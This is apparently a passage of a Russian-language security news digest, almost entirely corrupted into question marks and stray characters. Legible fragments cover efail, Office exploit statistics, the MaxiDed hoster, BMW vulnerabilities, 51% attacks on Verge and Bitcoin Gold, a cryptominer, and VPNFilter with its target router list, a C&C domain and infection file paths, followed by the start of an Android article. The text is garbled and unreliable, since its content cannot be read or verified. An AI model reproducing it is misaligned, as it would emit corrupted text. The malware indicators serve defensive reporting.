???� ?????:� ?� ????� ???�?� ????�?????�?� ??� ???�????�??� ???�?� efail.de� ?� ?
???�????�??�??�???�?????�??�(PDF).
???� ????�?????,� ???�????�???� ?� ???�?????�?� ??� ???????�????� ????
???????�??�?,�??�?�??�???�?�?�?????�???��?????�?�???�???燛fail�???�
???�??�??�??.�??�?????,�??��?????�??�?????�??��???�????�???�??
?�????�?,��???�???�??�???��?�????�??�???�?��???�?????�??�???�
????.� ?� ???�???�?,� ???�???� ???�????� ???�???� (Thunderbird,� Outlook,� Apple
Mail)�燩GP????�???�??�??�(Enigmail,燝pg4win�燝PG燭ools�???�???�???�?).
??�??� ????,� ???� ???�??�??�??� ???�????�??� ???�????�?� ???�???� ???�??�?
????????�??�??��??????�?�??�?�??�??,�?�???�???�???????�?�??�????�
????�??�??????�??�?�?�??�????�??�??,�???�???�????�??�?�??�?????�
??????�??�??�??�???�???�??�?爉an?in?the?middle.
?� ???�????,� ???�?� ???�?????�???,� ???� ???�???�?????,� ???� ??????�??�??
?� ????� ???�?????�??� ?????�????�??� ????�?,� ????????� ??� HTML???????
?� ???�?????� ???�????� ???�?????�???� ?????�???�?� (???� ????�?� ??� ???????�
?????)�??????�???�??�??�????�??�??�????.
???�??�??�??�???�??�??�?�??�?????��??,�??�??�????�??�???��?
???�???� ????�???�???� HTML� ?� ????�?� ??� ????�??� ???????�?,� ?� ???�???
????�??????��??�?,�??�??�?????��???�??燯RL.
??�?��??,�??�??�????�??�???,�??�??�???,�???�?????�???�?�????
????�??,� ???�?� ????�???�??�?� ?????�?????� ?????�????� ???????�??
?????.� ????� ???�??� ???� ????� ???� ?� ????�???�??�?� ???�??�???� ???�??
??� ????�??� ???????�??,� ????� ?????� ???�???�?????�?� ???�?????,� ????�??
???�?�???�?????�???�??�??�??�??�????�????�???�??�????���?????�
???�??�?�??????�??�??�????�??�??�????.
???,� ???�?????� ?????� ??????�?????� ????� img� ???� style,� ???�?????� ??
?� ???????�????�??� ???�?� HTML??????� (?� ????�?� ?� MIME????????�??),
???�?????�?�?�????�??�??�???.�??�????�?�???�?�???�???�???�爉ulti?
part� HTML?????�????,� ?� ????�?� ????� ?????�????� ?????�????�??� ?????.
?� ???�?,� ???�?� ???�????� ???�??� ?????� ???�????�?????� ???� ???�????,� ??
?????�??��???�???�??�??�???�??�?燞TML��????�??�??�????�????�??
?????�??�???�????�?��??�??�?????�????�???�???.
???�???�??�??�??�?,�???�????�??�????�???�???�?,�???�?????�?�???�
???�??�??� ???�????�??� ?� ???�???�???�?� OpenPGP� (CVE?2017?17688)
?燬/MIME�(CVE?2017?17689)��?????�????�??�???�??�????�??��??????
CBC�燙FB.��??�??�??�??�??�?�?????�???�?燞TML?????.
�??� ????�?� ???�??� ?????�?� ????�?� ?� ???�?� ???�????� ???�???,� ???-�
????�??� ???�??????� ?????� ???�????�??:� ???�???� ???�??�??� ????
???�??�?????�???�?�??�??�?????�?�??�?�??�??爏,��????�???
???�??��??�??�?????�?�??�???�???�??�????�??燾.��?????�???
???�???�?� ??????�???�?� ???�????�??�??� ?????� ?????� ?????�???
?????� ???????�??�??� [???�??],� ???�????� HTML-?????�???�?.� ????
?????�????�????�?????�????�??�?????�?�??�????�??�???�??�??
???�????�?�(???????�??�??�??�?)�,��????�????�???�???.
??�???� ???�??� ???�?????�?� ???????� ?� ???,� ???� ???�????�??� ?????� ??????
???�?????� ????�???�?� ??� PGP� ?� S/MIME� ????� ????� ????�????�?,� ????
????????�?� ??� ???�????�??� ???�?� ?????� ????�???� ??????:� ??????�?????
??� ???�?????�??� ????�????� ???�????� ???�???� ?� ???�???,� ?????�???� ?????�
????�??�??�???�??�?燞TML��??�????.
??�??�???�???�?????�??�??�??�??�??�?????�??�?�??�????�?????
????�(Matthew燝reen)�????,�??,��????�??�???,燛fail��??�??�????????,
??,��??�??�??�???,�??�???�?�??????�??????�??�??????�????��???�
???�???�???�???�???�?�??�??�??????�??�??�?,�???�??�??,�??�????�??
?�??�????.
�?????�????�??�??�??�?粻???�?????�???�?
?�??�??�???�???�18�???
??�???�?� �?????�????� ???�??�??�?粻 ????�?????�?� ?????,� ???�????�??� ????�??� ?� ???�??
????�???� 2018� ????.� ???�???�?� ???�??�?????,� ???� ???�??�???� ???� Microsoft� Of?ce� ???�????�?
???�???�?,��?????????�?????�??�??�???�??�???�??�?????.
?�??�??�???�???�18�???�???�???�???�?� 1�2�8�??�????�??�???�????�??�??????,
???�?�%�???�?,�??��??�???�??�???�???.
???�?� ????� ??????�?� 18�2� ????�????�??� ???????� ??????�??� ???�??�???� ???�????� ?� 8787
????�????�??�??????�?????�??�??�???????????�????.
???�??�???�??�????�????�???�???�?????�??�???�???�?�????
??�??�?????�?�
????????�???�?.
282� 807� 433� ???�???�??� URL,� ??� ???????� ???�???�???� ???�???�????
??�??�?�????�?�??�????�???�?�??�??�?�????�??�??????�????�?????????�??��??�???�
????�??�??�???�???�?�????�??�??�4�8�???�?????�??.
???�?�??�?????�????�???�???�?�????�??�??�9�4�??�???�??�???�?????�??.
??�??�??��??�???�?�???�????�?�???�??�?????�????�?�17�??�??�????�???�???�
???�???�??燤icrosoft燨f?ce�(47,15%).�??�????�??�???�?�???�???�??�?????�???�??�????�
????�?????�???�??�??��??�??�???�??�??�??�??�(23,47%).
??�??� ??????�?????� ???�???????� ?� Microsoft� Of?ce� ?� ???�??� ????�???� ????� ???� CVE-201711882� ?� ???�??????� ????�?� �??????�????� ???�?粻 ?� ???�??� ???�????�?� ????�???� ??????
(?????�???�?????�????�??�??�??燛quation燛ditor).
??�?燜lash????�??�???,�??�????,�??�???�?:�?�??�??�???�??�18�???�??�??�????�?�???
?????�.
?�???�??��??????�???�???�%�????�??�??�????????????�?????�??��???�???�?�???
???�??�????�???�??�?�??�????�???�?.�?????�???�??�??��???�??�??�?�??�????�%.
MAXIDED�????????
???�???�???� ???�???�?????�?� ????�?????� ?� ???�??�???� ???�????,� ????�
?????�??� ?� ???�?????� ??� ???�??� ?????.� ???�???� �??????�?????�???粻 ????�
????� MaxiDed,� ???????�??� ?� 2008� ????� ?� ????????�?� ???�?????�??�??�?
??� ?????�???� ?????�??.� ??� ???�????� ???�???????� ???????�???� ???�???
DDoS????�????,�??�?��??�???�??�????�???,�??�????�??�??�???,�???�
????��??�????.
???�????� ??�?????� ???�??� ???�?� MaxiDed,� ??????� ????�????� ???�?� ????�
?????�??????�??�??�???,燰PS�燰PN,��??�??�???�?�????�??�?,�??�???�
????�??�??�?�00�??�?????���??�??�????�?��??�??�????�???,
?�??�?????�???�???????�????�0�????�??????.
MaxiDed� ??????�???�????�?� ???� �??????�?????�???粻 ???�???� ?
???� ????�???,� ???� ???� ??????� ??� ???�???�????�??� ??????????� ???� ???�????
????�?????� ???� ???�????,� ?� ???�????� ????�?????�??� ???�?????� ?� ???�?.
?� ???�?????� ????� ?????�??� ???�????� ?????�???� ??????,� ?� ????�??� ???�?
???�???� ????????� ?� ????� ????????,� ???� ???� ??� ???�???�?� ??????�???� ????�
??????� ???�????�??� ????�??????�???� ?� ?????�?� ??????�???� ??� ?????
???�??�??� ???� ??????� ???????�??� ?� ????�???�??� ????�???????�???� ????�
???????.
??�??�??�??�?????�??燭rend燤icro�燬poofIt,��??�?????�???燤axiDed
??????�?????�????�???�???�?�??�?????�????�??�??????燙arbanak,�?�???�
?????�??�???????�??????�???�??�???�??�????燤irai,�??�????�??�???�
??????�??�????燗dGholas,�??�??�??�??�?????�????�????�??�??�????
?� ???�??�??�?� ???�???� ?� ???� ?????.� ???�???�???� ???????,� ?� ????� ???�???,
????�???,�??�??�??�??燤axiDed�??????�??�???�?????燚epFile,�??????
??????� ??????�????�?� ???� ???�??????� ???�???� ???�????�??.� ???�????�
??????�?� ?????�??�?,� ???� ???�????�?� MaxiDed� ???�?� ?� ???�???�????�??
???????�??�?� ?� ???�???� ???�?,� ????�????�??� ??� ??� ???�????,� ??� ??????
??�???�??�???�?.
??�??�???�???� ????�?� ????�?????� ??????� ???�????� MaxiDed,� ???�?????�
?????� ??� ???�??????� ????�?.� ???????�??�?� ?� ????� ??� ???�???� ??� ???????
??????�?� ?????�???� ??� ???�???� ?????�?� 29????�???� ????�?????� ???�???,
???� ???� ??� ???�??�???�?.� ??� ???�??� ???�???�???????�??� ????�??,� ??
??�???�?�???�?�??�???�??燤axiDed,�?��??�?�???�????��??�???�???
???�???�????�?� ???�???.� ???????� ???�????,� ?� ????� ???�???,� ??????�
????� 37????�???� ????�?????� ???�???,� ???????,� ????�???,� ???� ?????
??�???�??�??�????燤axiDed.
??�???� ???�????�??� ????� MaxiDed� ????�???�???� ???�?� ??????�????
??� ????�????�??� �??�????�,� ???�????,� ???� ??????� ???????� ???� ???�????
???�???�???�??????���??�?????�??�?�????�?�??�??�???�??.�??�????�
??????�?�???�???,�??�??�??�???�燤axiDed�??�??�??�?????�?��???�
??????�??� ????�??�???�??� ????�???,� ???????� ???????� ???�??????�???� ???
???????�??� ???�?� ???�???�???????�??� ????�??� ???�??� ?????,� ???� ??????
??????�??�?�??�???�????�?�??�??�???�??.
200�??�???�??�??�???�???燜ACEBOOK�????
???�???�????�??�??�???
???�????� Facebook� ???�??�???� ???�?????�?� ?� ???�???�??�??� ????�???,� ???�??�???� ?� ????�
????�?燙ambridge燗nalytica.�???�??�???�?燜acebook�??�???�?�??�???�??�???�??,�??????�
????��???�??�??�????.��??�?????�??�?�??�???�??�??�?�???�??�????�?�???�????�
???�?????�??�??�????��??�?????�??,�???�????�??�?�??�???.
??�?�??�???�????�?�????�????,�?�??�???�??�???�?????�??�???�??,�???�??�??�??
?�???�???????�???�??�??�?�14�???.�??�?�0�?�??�??�???�????�????��??�??????�
???.�?�??�????�???�?�??�??�???�?,�???�??�???�??�??�???�??�?�????�?????�?�???�
????� ??� ?� ?????�?� ????�?????�??� ???�???� ?� ???�???�????�??� ???�???.� ???� ??� ?????� ???
?????�?????�??�??�???�??�??�???�??�???�???�?�???�????�??�???????�??.
????�????�燘MW
??�???�?� Keen� Security� Lab,� ?????�???�???�??�?� ???�????�????� ???�????
Tencent,� ??� ???�???�??� ????� ???�???� ???�????� ???�???� ????�???�??� BMW.
?�??�?��??�?�18�???�??�?????�?�??�???�?�???�????燘MW�?�????�
????�??� 14� ???�????�??,� ???�???�???� ????�??�???�?????� ????�???????
?????�??�??�?????�?,�??��??�??�?.
??�?� ????�????� ???� ????� ????�????� ????�?????�???� CVE� (CVE?2018?
9322,� CVE?2018?9320,� CVE?2018?9312,� CVE?2018?9313,� CVE?2018?9314,� CVE?
2018?9311�燙VE?2018?9318),�??????�??�???�???�???�??�?�??�???.�???�
?????�??�??�????�?�???�??????��12�???�????�?,��??�??�?:燘MW爄
Series,燘MW燲燬eries,燘MW�eries,燘MW�eries,��??�?燘MW�eries.
??????????? ??????
?
? �?????�?????
??�?� ???�?????�?� ????�???�???� ????� ????�???????�??� ?????� ?� ???�?
?????�??,�??�?�??�??�??�??�??�??�??�???�?�???�?��?????�19�???.
?????� ????�??� ?????�???�???� ????� ???�????�????� BMW� ?� ???�???�??
????�?????�???�???�??�???�?�??�???�?�????�????�??�????�??.
?�??�?�???�???�?�??�?????�?�??�?????�?????�?�???�???????�???�
?????�??� ????:� ???????�???�?????�??�?????�??� ???�????� (???� ??� Head
Unit),�??�??�??�??�?�?????�???�(TCU/T?Box),��??�?�??�????�??�??????
???�?�(Central燝ateway燤odule).��??�?�???�??�???�??�?????�???:
? ??�???� ???�????�??� ???�?????�?� ???�??�??�??� ?� ???????�?� ????????�
????�?????�??�?????�??�??�????
? ??�???� ???�????�?� ????�???� ??????� TCU� ?� ????� ???�???,� ??� ???????� ??
????�???:�??????�??�??�????,�??�????�?????��??�??�??�??,��???�
??�??�??�??�??�????�?/???�??�????�?�??�???
? ???� ???�????�?� ????�???�?� ?� Central� Gateway� Module,� ???????� ????�??
????????� ????�????�??�??� ????�????� ??� TCU� ?� ???????�???�?????�???�
??????�??� ???�??,� ?� ?????� �?????�???粻 ??� ???� Electronic� Control� Units
(ECU)�?�??�??燙AN??????.
??�??�???�???� ?????,� ???� ???�?????� ???�??????� ????� ????�??� ???�???�?
????�???� ????�?????� ??????�?,� ????� ?� ????� ???????�??� ???�??� (???�????�
????� USB???????�???� ?� ???�???� ?� ???�?� ODB),� ???� ???�??�?� (?????�??�???
????�??�??�???�???�???�???�???�????,燬DR).
?� ?????�?� ???�???�??� ???�????� ????,� ????� ??� ?????� ????�??� ???�??�??
????�???�?�???�?��??????�??,��??�???�?�??�??�???�?�??�??�???�??
???�???� GSM?????.� ?????�???�???� ?� ???�????�???� BMW� ???�??�?� ??� ????�
???,� ???� ????�???�??� ???�???�????�??� ?????� ??????� ?????� ??� ??� ???�?.
?� ???�??� ???�???,� ???�??�?� ???�?� ???�??�??�?????� ???�?� ?????� ??� ?????�
?????�??�????,�???�?�??????,�??�????,�??�?????�???�??�??�???�??
?????燘luetooth.
????�??�???�?� BMW� ????�???,� ???� ???????� ??????�????� ???� ???�??�??
???�?????�???� ????�??.� ?????� �??�????粻 ???� ???�???� ???�??�?,� �?� ????�
????�,� ??� ???�??� ???�?� ???�???�?� ????�????� ???�??�?� ???�????�??
?�?????�????�??�????,�?�???�?????�??�?????�?�????�??�???�??????�
???� ?????� ???�?????� ??� ???????.� ???�???�?,� ???� ???????�??� ?????� ?????�
??????�?�????�???��?????�19�???.
??�?????�?�00�????�??�??�?????�??燭ELNET
???�??????�??�????燦ewSky燬ecurity��????�???�??????��??????營oT????????�????�????
????�??�(Ankit燗nubhav)�???�????,�??�??�???�???�??�??�??燨i營nternet�??�??�????�?�???�
??�??�????�????�?,�?�???�??�??�??????�??燭elnet.
???�?�??�??????�?????�?�???�?????�?�?????�?�?????�???燚atacom燚M991CR,燚M706CR
?� DM991CS,� ?� ???�??�?� ?� 5000� ??� ???� ???�?� ???�??�?� ???�??�???�?� ???�???�???� Telnet.
?????�???�???� ???�????� ?� ???�???�??� ????�?????� ??????�??� ?� ????�????,� ???� ???� ???�?????�
????�??燭elnet????????�?�???�????,�?�???�???�?????�?????�?�??�??�??�???�???????.
?� ??????�??,� ?????�?� ???�???�?� ?� ????�???�?� Oi� Internet� ??� ????�?????� ????�??.� ?� ???�?
????�??� ???� ?????�??� ????�???�?� ??� ???????� ?� ???�???�???� CERT,� ????�??,� ???� ???�???
????�???�??�???�?�??�?????�??�??�???��??�??�????�?�???�????.
VERGE�燘ITCOIN
???�?????
??�???�?� ????�???,� ???� ????�????�?� ?????� ???�???�?� ????�?????�?� Verge
(XVG),� ????�?� ???�???�??� ???�?� ?� ???�????.� ???�?� ????� ?????�?????�?
???�?� ??� ??????????�???� Bitcoin� Gold� (BTG),� ???�??�??� ???�???�????�??
?????��??�?????�??�????.
Verge
?� ???�?� ???� ???�???�?� ????� Suprnova� ????�???,� ???� ????�?????�?� Verge
(XVG)� ?????� ???�??�????� ???�?� ???�???�????�??,� ????�??�?� ???�???�?
?????.��??�18�???�??�????�??�???�????�????�???�??�?�?燫eddit
?�??????燘itcointalk.
??�??�??�??�???�?????�??,�??�??�??�??�?,�??�?�?�??�???�?�????�???�
????�????�?� ????�?� ??????� ???�?� 35� ???�?????� XVG,� ???� ??� ???� ??????
????� ????�????�??� ???�??�?� 1,6� ???�????� ???�????� ???� (???�?� ??????
??????�?�??�?�%�??�???�?).
??�?� ??� ???�?,� ?????� ???�?� ???�?????� ??�???�???� ???�????.� ?????�?,
???�??�???�?????�????燰erge�??�??�?????�??�??�????�??�???�?????�
???,� ?????�????� ???� ??????�???� �??�?� 51%�.� ???� ???�??� ???�????� ????�
??????�???�?,�??��??�?????�??�??�?????�??????�?�??�????,牜???????�
????�???粻???�?????�??�???,�??�??�???牜???�????�??�????�.��???�?
????�????�?� �?????�?粻 ?????�?� 15,6� ???�????� XVG,� ??� ????� ???�???�
??�0�????�??�????�??.
???�?� ???�????�???� XVG� ?????�???� ???�???�??� ????� ?� ?� ?????�??� ???�?
????� ?????�???� ???�??�???� ?� ???�???�?,� ???� ???�??� ????� ????�?????�?
?????�???�???,�?????�?�???�???????�??�???�????�?.
???�??,� ???�?� ?????� ???�?,� ????�?????�?� ?� ???�?????�?� ??????�?,� ???
????�????�?� ???�?� ???� ????� ???�??� ????�?� ???�??� (???�??� ????�?� ????�
????,� ???� ???�????�???� ??� ???�???� ????�????�?� ??????� ???� ??????�????
????�??)��????�??�??�????�??�??�?.
????�??�???�?� Verge,� ??????,� ??� ???�????� ?� ?????� ???�??� ???�??.� ???,
?� ???�????�??� Twitter� ???�????�????� ?????�???� ????�????� ?� ???,� ???
??�?????�??�??�??�????�???�???燚DoS????�?,�????�?�??�???�?�?????�
???� ?� ???�??????�???� ???�??.� ???�????�?� ???�????�???� ??� ???�???�???
?� ??� ????�??�??� ???????�??� ??� ???�?.� ????�??,� ????�???�?,� ???� ?????�?
??????�??�??�????�??�??.
Bitcoin燝old
??� ????�?� ????�?????�?� ?� ??????�?� ?????�???�?� ?� ???�???�????� ?� Verge,
???� ???� ???�??� ???�?????� ??????????�???� Bitcoin� Gold.� ???�??�???�??� ????
BTG�???????�??��??�18�???��???�???�?????��???牜???�?�%�.
???�????�???� ????�???,� ???� ????�??�???� ???�???�?????� ????� ?� ?????
???�??�??�??�????��??�????�??�????�????�??�??�?????�??�???�???�
??� Bitcoin� Gold.� ???�?� ???�?� ??� ???????� ???�???????� ??????�???�???� ?????�
?????�??,� ???� ?� ????�????�?� ??� ???�???�??� ???�???�??� ????,� ???�???� ???
??????�???牜???�?�???�??�??�?粻(double爏pend).�??�??�????�???????�?
??�??�????,�??�??�??�??�???�??�?????�???,�??�???�?????�????�???�
????�?�??�??�?????�???��?�?�????�??.
???�?????�?????�????牜???�?�%粻?牜???�?�???�??�??�?粻???�???�?
???????�??� ????�??????�??� ???????�??.� ???� ???� ???�???� ??� ?????� ???�?
?????�?????,��??�???�????�?�???�??�?�???�???�???�??:�???�???�???�
??� ????????� ???????�??� �?� ???�???粻 ?????�??� ??� ???�?????� ???�?
?�??????�?,�????�??�??�???�?????�?�?�??�??�?????�,�?????�????
????�??�??,�???????�????�??�??????.
????�?� ???� ????�?????� ?� ???�????� ?� ??????�????� ????�??� ???�??� BTG
?� ???????�?� ?� ???????�??�?� ?� ????� ??????�??� ??� ??� ?????�??� ??� ????
???????.�??�?�??�???�?�??�???�???�??�??�??�???�??????�??�??????�
??,� ???� ?� ????�??�??� ??????�???,� ?� ????�?????� ?????�???�???�?,� ????� ???
???�??.�???�?????�???�??�??�??�???�????�??��???�??�??�???.
?� ?????�??� ????�??�?� ???�???�?� ?????�??� ???�???� ?????,� ????�??????
???� ???�??????�??� ????�?????� BTG,� ????�?� ???�???�?????� ???�??� ?� ?????
???�????��????�????�?????�??�??�????��??�??�?�??�??�??�??�?.
????�??�???�?� Bitcoin� Gold� ?????,� ???� ?� ???�?????� ???�?� ????�??�??
???????� ?????�??� ???�???� ????�?????� ??� ??????�?� GTNjvCGssb2rbLnD?
V1xxsHmunQdvXnY2Ft.� ?????� ????� ????�??� ????�?� ?????� 388� ?????� BTG,� ???
????�????�??�????�??��??�?????�??�????�??.
??�?� ????�?????� ???????� ?????�??� ??� ?� ????�?????�??,� ?� ????�???�??
???????�?,� ??� ????�?????�??� ???�???�????� ???� ???�?� ?????� ???�???�?.
?????�??�????�??�???�????�?�?????�??�????�?�??�????�??�???�????�
???�???�?,� ?????� ???�?????� ????�?????�??� ????????� BTG,� ?� ???�???�????,
?????�?,�????�???�???�?�?�??�?�???�?????�?.
???�??燱INSTARNSSMMINER�??????�????�?
500�0�??�??�?�??�??
???�?????�?燪ihoo�0燭otal燬ecurity�???�???�?�??�????�?�??�??????�????�??�???燱in?
starNssmMiner,�??????�???�?�?�??�??�??�??????�??????�??�?�0�0�????.
???�????� ????�???�???� ?????� ????�??� ???�??�????� ???�???,� ???�??�????� ??� ????�?� ?????�
???�??�?��??????�???�??????燲MRig.�?�??�???�????�??�??�????�??�???�??�??�???
????�?????�?,�??????�?�???�????.�??�????�?�???�???�?�?�??�????�???�??�??�?爏v?
chost.exe�??�??�???�???�???�????��?????�??�???,�??????�??�??�??????�?????�?????�
????.�???��??,�??�??�????�??�??�???�?????�?��??�???�????�?燙riticalProcess,�?????�
??燱indows�??�???�?�????�???�?????,�???�??�??�?????�???.
????�????�?,� ???�?????� WinstarNssmMiner,� ???� ??????�???� 133� Monero,� ???� ???�???�?� ????�
???�?��0�??�????�??.
????????
VPNFILTER
???�?????�?� Cisco� Talos� ???�??�?????� ??� ????�???�??� ????�???� ???�???,
???????�???�??�????燰PNFilter.�???�??�??�???�??�?????�?�??�??????
???�????�??�????�??燣inksys,燤ikroTik,燦ETGEAR�燭P?Link,��??�?燦AS�???�
??????�??燪NAP���???�??�???.�????�???�???�??�????�???,�??燰PN?
Filter��??�??�??�????�???營oT?????�?,�??�??�??牜????????粻???????�????
???????�???� ??????�???� (???�??� ??�??�?� ???�?� ???�???� Hide� and� Seek),
?�???�?�?????��???�??�???�?????�??�??�????�????.
VPNFilter
??�??�???�???� ???�??�???�?,� ???� ???�???�?� VPNFilter,� ????� ??� ???�?,
??� ??????�?????� ???� ??????�??� ??????�??� ??????????� 0day????�????�?,
?�??�??�??�???�?�??�?????�????�???�???,�???�????�??�????.�??�??
???????� ??????�??,� ??� ???????� ???� ????�????� VPNFilter,� ????�??????�??
???�???�?燬ymantec,�??�?�??�???�???.
? Linksys燛1200?
? Linksys燛2500?
? Linksys燱RVS4400N?
? Mikrotik燫outerOS�??�????�??燙loud燙ore:�??�??�16,�36��72?
? Netgear燚GN2200?
? Netgear燫6400?
? Netgear燫7000?
? Netgear燫8000?
? Netgear燱NR1000?
? Netgear燱NR2000?
? QNAP燭S251?
? QNAP燭S439燩ro?
? ???�??�?????�???燪NAP燦AS,�?????�???�??�??????�???燪TS?
? TP?Link燫600VPN.
???�???�?燙isco燭alos�????,�??燰PNFilter��???�?�????�??�???????營oT?
?????,��?????�?�??�???�???�???�?????�?.�??,�?????�??�????�?�?�??
???�??.� ??� ???�?� ???�??� ???�??� ???� VPNFilter� ?????� ?� ???�??????,� ???
????????�?????�?�???�??�?��???�???�???�?????�???��????�???????
?????�????� ???�???�???� ?� ???�???.� ???� ???� ????� ???�???,� ?????� ???�??
�?????�???粻???????�????營oT??????�??�?????�??�???�?�???�?�???�????�
??��??�??燞ide燼nd燬eek.�??�?�???�???,�??,�?�??�??燬ymantec,�????�
????�?�?�???�??�??�??�??�??�?�??�????.�??�??�?�??�???�???�????�
????�?????�???��????�???�??�???�??��??�???�???�??????�?????.
???�??� ???�??� ??????�??,� ??� ???�??� ??????�??� Cisco� Talos,� ?????�??
????�?.� ????� ???� ???� ???�??� ???�??� ??� ???�????� ?????�???� ???????�????
??????�???� ?,� ????????� ??,� ?????� ??????�??,� ??� ?????� ????� ???� ??� ???.
?�??�????�??�???�???��??�???�??�??�??�??�??�?????�???�?�???�???�
???� ???�??.� ???�????�?� ???� ????�???,� ???� ????� ????� ??� ?????� ???�??
?� ??????�???� ?????� ???????�????,� ??� ????�?� ???�??� ???�?????�?� ???�????.
????????�???�???�??�??�??�??�??�???�???��??�????�?��????�?�???
??????�??.
????�?� ?� ????� ???� ???�??� ???�??� ????�???� ????�??� ???�??�????�?????
????�???�??????,�?�??�?�???�????�??????�?�?????�???�???�??�?????�
???�??�?�??�??�?�?????�???��??�??�??��??????�????.�??�???�?�???�
???�????�?,�??�??�?�?????�??????�??�??�??�???�???�???��??�?????�
???牜???�??粻?�?�????�??�?????�?,�??�??�???�??????�??�??�????�???�
????� ???�?� ???�??�?� ???�???�???� ???�??�??� �??????�.� ??� ???�??� ????�
??????�??燙isco燭alos,�??�?�??�???�????�??�???�???�???�??????�????�
????�??�???�?????�??�??�?�??�??�??�???�???�?????�???��????�(????�
????�?�?�???�???�???�?????�?�??�????�???�??�????).
??????�???�??�?�??�?????�???�??�????�?�??????�??�?????�???�???�
?????�??� ???�????.� ?� ???�?????� ???�?� ???�???�?� ????�???�?� ???� ???�???,
??????� ???????� ???�???�???� ?� ????�????� ??????�?� ???�???� ?� ?????�???
???????,� ??????�??�?� ???�???�??� Modbus� SCADA,� ?� ???�?� ???�??�??�????
?�??????�???�??�????�????燭or.�???�????�??�?,��??�???�??燰PNFilter
???�???�?��??�??�??�????�??�?????,�??????�???�?�???�??�???�?.
??�??� ????�??,� ???�???�?� VPNFilter� ???�??�?� ?????�???� ?????� ???�??
???�????�?????� ???�????� ?� ???????� ???�??� ???�???.� ???� ?????� ??????�
????????� ???�??� ?� ????�??� ???�??� ??� ???�????� ?????� ?� ???�???� ?????� ?????�
????�???� ???�??�?????� SCADA????�???�????� ?� ????????� ???� ???�?????�
????�??�??�??�?????�????�?????�?????�??????�??�?????�???�??�????�
???�??�??,�???�??�?�??�??�?????�??�??�,�??????,�????�???�?�?????�
??�?�????�??�?�????�?????�??.
???�?�?�???�???
??�??�???�???�??�????�???,�??��??�?????�??�?燰PNFilter�????�??????
??????�?�?????�???�?�??�??????�???�??�(???�???�?????�????�???�??
???�??�?????�??燙&C????�??).��??�?��???�??�?????�?�?????�?�????�
?????�??�????�???�????�??�???�???�???�??????,�?????�??�??�??�???�
???� ??????�???� ??� ?????.� ??� ????�????� ?????� ?????� ???????� ???�??
???�?????????�???�???�?.
???�?� ???�?� ???�???,� ???� ?� Cisco� Talos� ????�???�?� ?????�??� VPNFilter
?�??�????燘lackEnergy,�??????�?�???�???????��15?2016�????�??�???
??� ????�??????�??� ???�????� ????�??� ?� ???�???� ?� ???�????� ?????�???�?
????�??�???�??�?�?????�???�?.
????�?�??????�????�???�??�????�???�??????????,�??�????�??�???�
????�???�?.�??�???�?????�?�??�???,�??�??�???�?燰PNFilter�?????�???�
???�???� ???�?� ??� ????????�???�??� ?????�???� ?� ???�???� ???�????� ?� ??????
????�??�?????,�??????�??�??��????��??�18�???.
???�?� ????�???,� ???� ??????�??� ???�????� ?� ???�?????�?� ???�???�?� ????�
????� BlackEnergy� ?� ????�??� ????�?????�???�?� ???�??�???� ???�?????�?????�
???�??????燗PT28,�??�?�????�???�??�??�???�??燜ancy燘ear,燩awn燬torm,
Strontium,� Sofacy,� Sednit,� Tsar� Team,� X?agent,� Sednit� ?� ???�???.� ??????� ?� AP?
T28� ???�?� ???�???�?� ?� VPNFilter,� ?� ????�?� ???????�????� ????�??� ?????�?
???�???�???� ??????�??� ???�???� ??.� ???????,� ???� ???�?????�?� Cisco� Talos
?� Symantec� ????� ???????� ???????� ??� ????�?,� ????�??,� ???� ??� ?????�????
???�??�???�??�??�?????.
??�????�???�??�???�???�??�???
????�?� ???�?� ???�??????� ????�?????�??�????�??� Cisco� Talos� ????�??
The� Daily� Beast� ????�???,� ???� ?� ???�?????�??� ???� ?????�??� ???�??�?� ???�
???????,� ???�????� ??????�?� ???� ??????� ????�??�???� ???????�???� ????�
????燰PNFilter,�??�?�???�?�???�??�???�??.
??�?� ??� ???????�?,� ?????�??� ???�???�?????�?� ???�?� ????�???,� ???
??�??�???�?�??�???�??�?�???�????�?燗TP28.� ??�????�???��??�????�?
???????�???� ???�????� ???�???� ????� ???�????�?� ??????�?� ???�?� ???�???�
?????�??�??�?????�??.��??�???�?,�??�??�????�??�??????�????爐o?
knowall.com,��?????�?燰PNFilter�???�???�?�?�?????�???�?????��?????�
??????�??�??????.
?� ??????�??,� ????�?� ???� ???�?� ???�???�???,� ???� ???� ???�??�??�??� (sink?
hole)� ???????� ?????,� ????�???,� ????�???� ??� ????�??.� ???�????,� ???� ???� ??
???�??� ???�?� ??????�??� VPNFilter� ????�???� ???�?� ????�??� IP?????�?
???????�??� ??????�??,� ???�???�?� ???�???� ?????� ???�??�?????� ????
??????????�???� ?� ???�??� ???�?� ?� ???�???� ???�????� ???� ????�???�??�???
???�?????.
?� ???�?� ?� ????� ????�?????�??� ?????�????�?� ???�????� ??????�??� ????�
???????�?� ???????�???�?� ???�??????� ?????� ?� ?????�???� ???�???�??� ?� ????�
????�???� ???????�?????� ?� ???�???�?,� ???� ??????�???�?� ?????�??� ???�??
??.� ???�?,� ????� ?????� ???�???????� ????,� ???�???� ???�?� ????�???� ?� ??????�
????�?� /var/run/vpnfilterm,� /var/run/vpnfilterw,� /var/run/torr� ?� /
var/run/tord.�???�??�???�????�?,�??�???�??�???�?�????�????.
HEADER
ANDROID
GOOGLE營/O��??????????
???????�?????
????????燯nixoid�燤obile
zobnin@glc.ru
??�??�?� ?� ?????�?:� Jetpack� ???� Android????�????�????,
WorkManager� ???� ????� ???????� ?????,� Android� App� Bundle
????�?� ??????� APK,� AndroidX,� ?� ???�?� ???�??� ????� ?� ????
?� Google� I/O,� ????�??� ???�???�???� ???�???� ?� ???,� ???� An?
droid� ????�???�???� ???�????� ?� ????�???�???� ???.� ??� ?� ???
??????�??� Kotlin� ?� Kotlin� ?� Android,� Kotlin� ?� ???�??�?,� Kotlin
?燢otlin,�??????�???�?燡ava,��??�???????�??�???�?�???�
??�??????�?�??�?.
GOOGLE營/O
Jetpack
??� ???�????�??� Google� I/O� ???�?� ??????�?� ?� Jetpack� ?� ???�??� ????� ????�
?????�??� ??????� ???�??�??�??,� ???????� ????� Google� ???????�???� ???????�
??????� ???� ???�????� ???�???,� ???�???�?????�??,� ????????�??
?�??????????��???�??�???�??.
?� ?????� ???�??�??�?� ???�????�?� ????�??�??,� ???� ???� ??� ??� ?????�??
????�???燗ppCompat,�??????�??燗ndroid燢TX�(????�?,�?,燝oogle�?????�?,
???� Java� ????� ??� ?????),� ???�????�?� ???� ??????�???� ????�??�???� Android:
LiveData,燰iewModel,燫oom��??�????.��???�?�???��???�??�???燗PI燗n?
droid,�????,�??�????,�??�?�??�??�??�????,��??燛moji,�???�?�??�??.
